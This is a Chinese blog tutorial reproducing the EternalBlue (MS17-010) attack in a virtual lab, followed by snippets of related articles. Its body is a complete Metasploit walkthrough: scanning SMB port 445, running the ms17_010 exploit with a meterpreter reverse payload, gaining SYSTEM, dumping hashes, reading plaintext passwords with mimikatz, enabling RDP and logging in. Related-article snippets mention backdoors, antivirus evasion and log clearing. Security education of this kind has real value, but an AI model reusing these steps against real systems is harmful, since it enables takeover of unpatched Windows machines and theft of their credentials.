利用虚拟机复现漏洞 “永恒之蓝”

article/2025/8/21 4:34:09

利用虚拟机复现漏洞“永恒之蓝”

攻击:kali Linux 2020.3
靶机:Windows Server 2008 R2 x64
下面详细讲述测试的过程。

——
——

“ 永恒之蓝 ”简介

利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。于 2017 年在全球的范围内大面积爆发,不法分子利用这个漏洞制作了勒索病毒,锁定被攻击的设备,并要求支付高额赎金。
“ 永恒之蓝 ”的原理主要是扫描所有开放 445 文件共享端口的 Windows 机器。
在这里插入图片描述

这里进行测试要用到一个工具 MSF ,能快速对目标实现“永恒之蓝”攻击,获取目标对主机的最高权限。

——
——

Metasploit(MSF)简介

Metasploit 是一个免费的、可下载的框架,可以很容易地获取、开发并对计算机软件漏洞实施攻击。
本身附带数千个已知软件漏洞的专业级漏洞攻击工具,当 2003 年 Metasploit 发布时,计算机安全状况就被永久性地改变了,仿佛一夜之间任何人都可以成为黑客。

——

Metasploit 模块介绍

  • Auxiliary 辅助模块
    为渗透信息提供了大量的辅助模块支持

  • Exploits 攻击模块
    利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得对远程目标系统访问权的代码组件

  • Payload 攻击载荷模块
    攻击成功后促使靶机运行的一段植入代码

  • Post 后渗透攻击模块
    收集更多信息或进一步访问被利用的目标系统

  • Encoders 编码模块
    将攻击载荷进行编码,来绕过防护软件拦截

——
——

测试漏洞前的准备

连接数据库

kali Linux 中自带 msf 工具。
先开启 postgresql 服务,虽然不那么重要,不过开了之后,可以使用的命令更多。
开启数据库:

service postgresql start

在这里插入图片描述

postgresql 也是 kali 机里自带的。
第一次用 postgresql 的话,要进行一些设置。

先登录控制台:

sudo -u postgres psql

在这里插入图片描述

----------------------------------------------------------M------------------------------------------------------

这里我一开始使用不了 postgresql 的命令,找了很多解决方法无效,结果发现是语言的问题,我之前把 kali 的语言环境手动设置成了中文,即选择了 zh_CN.UTF8 编码,删除了 en_US.UTF8 的编码,导致现在数据库和系统的语言环境不匹配,出现如下图这样的报错。解决就是把 en_US.UTF8 编码加回来即可。
在这里插入图片描述

----------------------------------------------------------W--------------------------------------------------------

然后
修改密码

CREATE USER admin WITH PASSWORD ‘psql’ NOCREATEDB;

其中用户名 admin 和单引号中的密码 psql 根据自己写。
成功则返回 CREATE ROLE

创建新用户

CREATE DATABASE msf OWNER admin;

成功则返回 CREATE DATABASE
在这里插入图片描述

设置好输入 exit 退出 postgresql 控制台即可。
在这里插入图片描述

接下来
开启 msf 控制台:

msfconsole

在这里插入图片描述

开启之后看到中间有个图案,这个是随机的,不一定是什么图案。
同时也可以看到我们 metasploit 的版本。
以及这个版本所含有的各模块的数量,比如 2045 个 exploits 模块。

msf 连接 postgresql 数据库

db_connect admin:psql@127.0.0.1/msf

并检测是否连接上:

db_status

在这里插入图片描述

以后打开并连接数据库的步骤就不用创建用户了,三个步骤走:

开启数据库:service postgresql start
开启 msf 控制台:msfconsole
连接 postgresql 数据库 :db_connect admin:psql@127.0.0.1/msf

--------------------------------------------------------------M---------------------------------------------------------

还有另一个一个方法是前面不进行创建新用户和连接数据库,使用 service postgresql start 之后,再直接用命令 msfdb init 初始化数据库,会自动创建用户名等信息,应该也是可行的。
--------------------------------------------------------------W---------------------------------------------------------

——

msf帮助手册

输入 可以查看 msf 的帮助手册,可以看到有很多命令,我们后面会用到的都在这下面可以看到。

Core Commands :核心命令

在这里插入图片描述

Module Commands :模块命令

在这里插入图片描述

Job Commands:工作命令

在这里插入图片描述

Resource Script Command :脚本命令

在这里插入图片描述

Database Backend Commands :数据库命令

这就是为什么前面要开启数据库的原因。
如果没开启数据库,这些命令就用不了。
在这里插入图片描述
还有一些发展命令之类的,最后还有一些使用教程。
在这里插入图片描述
——
——

进入“永恒之蓝”模块

接下来用 search 命令搜索一下“ 永恒之蓝 ”。
search 就像搜索引擎的功能,可以根据关键字进行搜索。
命令:

search ms17-010

(ms17-010 是“ 永恒之蓝 ”的漏洞编号)
可以看到根据关键字搜索到的结果,前面有编号,跟着名称,名称第一个关键字可以看到是 auxiliary 辅助模块或者是 exploit 攻击模块。搜索到了 2 条辅助模块和 3 条攻击模块。
在这里插入图片描述
使用某个模块有两种方法,一个是用 use 接搜索结果中的编号,一个是接名称。
这里要用到上图中编号为 1 的模块,则使用命令为:

use 1

use auxiliary/scanner/smb/smb_ms17_010

可以看到这样就进入到这个模块里了。
在这里插入图片描述

然后用命令 options 查看我们需要设置什么。
看 Required 一栏中,一般我们要关注的是状态为 yes 的选项,状态为 no 的选项保持默认即可。
在这里插入图片描述

这里我们需要注意 RHOST 、RPORT、NAMED_PIPES 、THREADS 这两项。
NAMED_PIPES 路径已经设置好了。
RPORT :445端口
永恒之蓝就是由于 445 端口上的文件共享服务导致的漏洞。
如果文件共享端口被修改了,则这里的这个端口信息也需要进行修改。
THREADS 线程,我们这里测试一个目标,所以一个线程就够了。
RHOSTS :目标主机的地址。

——
——

使用 msf “永恒之蓝”模块

接下来就进行攻击了。
这里用 Windows Server 2008 作为目标测试。

先用命令 ping www.baidu.com 检查一下网络。
没问题之后再看看靶机的 IP ,同时也检查一下靶机的网络。
在这里插入图片描述

再从 kali 机 ping 一下靶机 IP,即看下面有没有 64 byte 出现。
一开始我这里 ping 不通,原因是 Windows Server 2008 靶机的防火墙没关,关闭防火墙之后就能连通了。
在这里插入图片描述

然后可以用调取 nmap 的命令扫描一下目标的 445 端口有没有开放:

db_nmap 192.168.226.131 -p 445 -v

扫描结果可以看到,445 端口是开放的,服务也对应地上,是微软上的文件共享服务(microsoft-ds)。
在这里插入图片描述
——
——

auxiliary 辅助模块使用

前面的 RHOSTS 目标地址还是空的,需要进行设置一下。
这里用一个快速的方法,先用 hosts 命令可以看到我们的目标地址。
在这里插入图片描述

然后用命令:

hosts -R

直接让这个 RHOSTS 指向了这个地址。
在这里插入图片描述
或者用 set 命令:

set rhost 192.168.226.131

用 iptions 命令验证一下,看到已经设置成功了。
在这里插入图片描述

准备都已经做好了,可以用命令 run 直接执行我们已经进入了的这个辅助扫描模块(auxiliary(scanner/smb/smb_ms17_010))。
可以看到扫描结果显示目标很有可能存在 MS17-010 这个漏洞的,并显示了目标的操作系统版本。
在这里插入图片描述
——
——

expolit 攻击模块使用

到这里辅助模块的任务就完成了,已经确认了目标非常有可能存在这个漏洞。
接下来就进入 exploit 攻击模块,重新回到上面,选择这个编号为 2 的模块。
在这里插入图片描述

使用命令 use 2 进入这个模块,可以看到还默认设置了一个 payload 。
在这里插入图片描述

如果没有自动设置 payload 的话,需要手动设置一下。
使用命令 show payloads 就可以看到很多 payload 需要进行进行选择。
进行筛选,定位到 Windows 64 位操作系统;
如果有 meterpreter 就选择这个,功能比较强大;
然后 payload 后面的连接方式,这里选择 tcp 的。
在这里插入图片描述

选择好之后,进行设置 payload :

set payload windows/x64/meterpreter

在这里插入图片描述

然后用命令 options 看看刚刚进入的 exploit 攻击模块需要我们设置准备写什么。
有目标地址、目标端口、本地地址等信息。
在这里插入图片描述

同样用 hosts -R 设置目标地址。
在这里插入图片描述

看哪里没设置好就设置哪里。
比如如果这里本地地址是空的,就用命令设置 LHOST

set lhost 192.168.226.128

在这里插入图片描述

设置好之后,用命令 run 执行我们刚刚进入的这个攻击模块。
在这里插入图片描述

这样,就已经成功攻击了。当然,不一定每次都攻击成功,可能会不稳定。
目标也会有自我保护的可能,攻击过程中可能直接把目标干关机或者蓝屏。
为了方便,在这样的情况下,可以先在虚拟机提前设置快照,如果被打得关机提醒了,就恢复到前面的快照。
在这里插入图片描述

——
——

攻击成功后的命令测试

查看权限

可以看看我们当前在目标机器的权限:

getuid

可以看到已经是 system 系统权限了。
在这里插入图片描述

可以说是想干嘛就干嘛了,可以在这里执行命令随意地操作目标机器。
试试进入 shell
可以看到执行之后的样子,很熟悉:C:\Windows\system32>
就是我们常用的 cmd 命令窗口,在这里直接用 cmd 命令窗口操作目标。
(编码导致的中文乱码可忽略)
在这里插入图片描述

看看此时的权限,同样是 system 系统权限。
在这里插入图片描述

exit 命令退出回到 meterpreter 。

输入 ? 可以查看帮助文档,有很多的命令,这里就不多说了。
在这里插入图片描述
——
——

获取目标用户密码

比如这里用帮助文档中的 hashdump 命令查看目标的密码。
密码可以用 md5 在线解码网址解出来。
在这里插入图片描述

如果太复杂也可能解不出来,可以通过加载 mimikatz 读取明文密码:

load mimikatz

在这里插入图片描述

加载成功后使用命令 wdigest 直接读取密码。
可以看到读取到了用户名为 Administrator 的密码为 2008Server
这个的确是我在目标机器上设置的密码。
同时也可以看到这条命令的执行是需要 system 系统权限的。
在这里插入图片描述
——
——

远程连接测试

有了用户名和密码就可以直接登录到目标的服务器了。
这里测试一下用远程连接服务登录。
先看看远程连接服务的端口是否开放。

db_nmap 192.168.226.131 -p 3389

看到 3389 端口是关闭的。
在这里插入图片描述

如果忘记具体改端口的命令,用关键字搜索一下。
在这里插入图片描述

使用命令 use ‘编号’ 进入这个模块;
命令 options 查看哪些信息需要设置,session 项即后台的哪个进程,因为刚刚我们退出了 meterpreter ,是用 background 命令把它放在了后台会话。(后面再说明一下这 background 命令)
命令 set session 1 设置。
在这里插入图片描述

命令 run 执行这个刚刚进入开端口的模块。
执行后再看看 3389 端口已经开放了。
在这里插入图片描述

选择就可以进行远程登录了,这里我新开一个命令行。
输入:

rdesktop 192.168.226.131

在这里插入图片描述

输入 yes ,就打开了远程连接的窗口。
在这里插入图片描述

用我们刚刚得到的用户名和密码登录,可以看到就成功登录进入到目标系统了。
在这里插入图片描述

同时,本来处于登录状态的目标也被挤下线了。
在这里插入图片描述

我这里是在 kali 机中进行远程登录,在知道了用户名密码,3389端口开发的情况下,在物理机 Windows 上等其它电脑上都可以登录。

--------------------------------------------------------------M---------------------------------------------------------

background 命令
可以用 background 命令让当前命令在后台,刚才的会话会保存下来。
用命令 sessions 查看当前的会话,根据 id 可以重新进入,如 sessions 1 重新进入 meterpreter 攻击。
在这里插入图片描述
--------------------------------------------------------------W---------------------------------------------------------

到这里,进行漏洞攻击的测试就结束了!
总结:有些坑不得不踩!


http://chatgpt.dhexx.cn/article/tGSWLxbc.shtml

相关文章

永恒之蓝简介

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改…

永恒之蓝-永恒之蓝漏洞(linux)

扫描存活主机 fping -a -g 192.168.52.1 192.168.56.254 ,因为kali是192.168.52.134,所以win2003是192.168.52.133 像192.168.52.2或者192.168.52.1这种不用管,一般是网关 开启msfconsole 搜索载荷,永恒之蓝的载荷是ms17_010 …

永恒之蓝漏洞复现

一,永恒之蓝 一、漏洞简介\n1、永恒之蓝介绍:\n永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局&#xff09…

永恒之蓝靶场

声明:本文仅限交流学习使用,请勿使用在任何非法商业活动,禁止用于非法用途。否则后果自负。如有侵权,请告知删除,谢谢! 在虚拟机上搭建win7环境(靶机) 攻击者kali2021版: 模拟永恒之蓝攻击过程的话,需要win7(靶机&…

永恒之蓝复现

目录 1.知识点: 2.前提准备 3.复现 1.知识点: (永恒之蓝适应低版本的电脑没有打ms17_010的补丁,现在win7以上的高版本已经不可以使用) 百度百科:永恒之蓝是指2017年4月14日晚,黑客团体Shadow…

永恒之蓝MS17-010漏洞复现

永恒之蓝漏洞复现 永恒之蓝漏洞简介准备工作命令功能查询靶机IP地址Nmap工具Msf框架相关搜索指令如下设置扫描对象扫描对方是否存在445端口开始攻击 设置攻击载荷设置攻击机及靶机攻击成功简单演示攻击结束 永恒之蓝漏洞简介 本次漏洞复现主要展示如何复现一次永恒之蓝漏洞攻击…

kali之永恒之蓝使用流程(操作全套步骤)

第一步需要kali系统的电脑和win7系统电脑的ip的地址在同一网段,互相之间可以ping通。 第二步关闭win7系统的防火墙。 往往失败就是这两部分的错误。 下边开始进入正题。 打开我们的kali系统,永恒之蓝控制版面开启指令 :msfconsole 小马图…

网络攻防——永恒之蓝

永恒之蓝 1.引言2.永恒之蓝定义3.SMB协议3.windows7版本说明4.攻击实例4.1攻击者和被攻击者展示4.2详细攻击过程4.3接下来尝试攻击一下windows10 5.参考文献 1.引言 让一个不爱学习的人整天蒙英语题,听张宇的视频实在是枯燥了点,于是决定看看网安&#x…

Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)

目录 一、永恒之蓝概述 二、SMB协议 三、准备工作 四、漏洞复现 1、主机发现 2、端口扫描 3、利用模块 五、演示功能 1.获取cmd 2.捕获屏幕 3.上传文件 4.下载文件 5.远程登录 6.上传后门 7.免杀加壳 8.运行wannacry 9.清除日志 六、预防方案 1.打开防火墙 …

ajax提交form表单+跨域

有时候我们需要提交form表单&#xff0c;而又不想影响跳转页面&#xff0c;同时还不影响浏览器的 正常访问&#xff0c;这个时候就用到了ajax提交 首先&#xff0c;要引入js文件 <script type"text/javascript" src"${ctx}/newoa/js/jquery.form.js"…

使用原生javascript实现ajax提交form表单

使用原生javascript实现ajax提交form表单 ============================ 1 准备表单 首先我们需要编写一个html代码,这里我是采用nodejs里面的jade模板引擎来进行生成html代码的。 form(action="/ajaxTest2",method="post",enctype="text/…

Jquery Ajax提交form表单

ajax技术带给我们的是良好的用户体验,同时,使用jquery可以简化开发,提高工作效率。 献上一个简单的例子: 前台代码: index.aspx <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="index.aspx.cs" Inherits="AjaxDemo…

客户端调用服务端异常 —— 远程主机强迫关闭了一个现有的连接**(问题已解决)

客户端调用服务端异常 —— 远程主机强迫关闭了一个现有的连接&#xff08;问题已解决&#xff09; 今天跟大家分享一个日常出现的问题&#xff0c;今天前段调用的时候突然出现了远程主机强迫关闭了一个现有的连接的问题&#xff0c;先看问题图。 然后开始排查原因&#xff0…

频繁发送socket命令返回:[WinError 10054] 远程主机强迫关闭了一个现有的连接

第一类 错误原因&#xff1a;发送http请求太过频繁&#xff0c;引起远程主机的怀疑&#xff0c;被网站怀疑是恶意攻击行为。 解决方法&#xff1a; 在发送命令之后关闭连接&#xff0c;防止被认为恶意连接设置socket默认等待时间 设置读取信息的最大时间限制&#xff0c;如果…

关于Redis出现“java.io.IOException: 远程主机强迫关闭了一个现有的连接”的一次排查

背景 最近在使用springboot&#xff08;Windows下&#xff09;连接redis&#xff08;云服务器&#xff09;开发时发现一些问题&#xff1a;连接成功的情况下&#xff0c;在一段时间未交互数据后&#xff0c;再次通过连接与Redis传输数据回出现异常java.io.IOException: 远程主…

远程主机强迫关闭了一个现有的连接.

报错信息&#xff1a; 解决方法&#xff1a; 1.在命令行中查找占用“5037”端口的程序PID netstat -aon|findstr “5037”2. 打开任务管理器&#xff0c;找到相应的PID【15692】&#xff0c;将占用的端口关闭。 3. 发现adb.exe与Android Studio.exe共用同一个端口 adb.exe——…

xdm,请求帮助

这个怎么搞&#xff0c;xdm

Ubuntu 安装 XDM 2018 ( Xtreme Download Manager 2018 )

Xtreme下载管理器是一个功能强大的工具&#xff0c;可以将下载速度提高到500&#xff05;&#xff0c;保存来自YouTube&#xff0c;DailyMotion&#xff0c;Facebook&#xff0c;Vimeo&#xff0c;Google Video和1000多个其他网站的流媒体视频&#xff0c;恢复损坏/死亡下载&am…

Linux系统的下载神器XDM

自从装了双系统后一直在寻找一款媲美Windows系统中IDM的下载神器&#xff0c;XDM被我从云海中捞了出来&#xff01;堪比IDM的下载速度&#xff0c;亦是一款神器。 使用说明书 下载地址&#xff1a;https://sourceforge.net/projects/xdman/解压后&#xff0c;使用终端进入该…

获取网页视频,日常下载工具推荐——XDM

Xtreme Download Manage 下载地址与浏览器关联工具的好处 下载地址 点击下载 与浏览器关联 需要谷歌&#xff0c;火狐或其他插件包&#xff0c;这里只提供谷歌插件&#xff0c;其他自行百度。 下载地址 下载后将后缀.crx改为.zip&#xff0c;进行解压缩&#xff0c;然…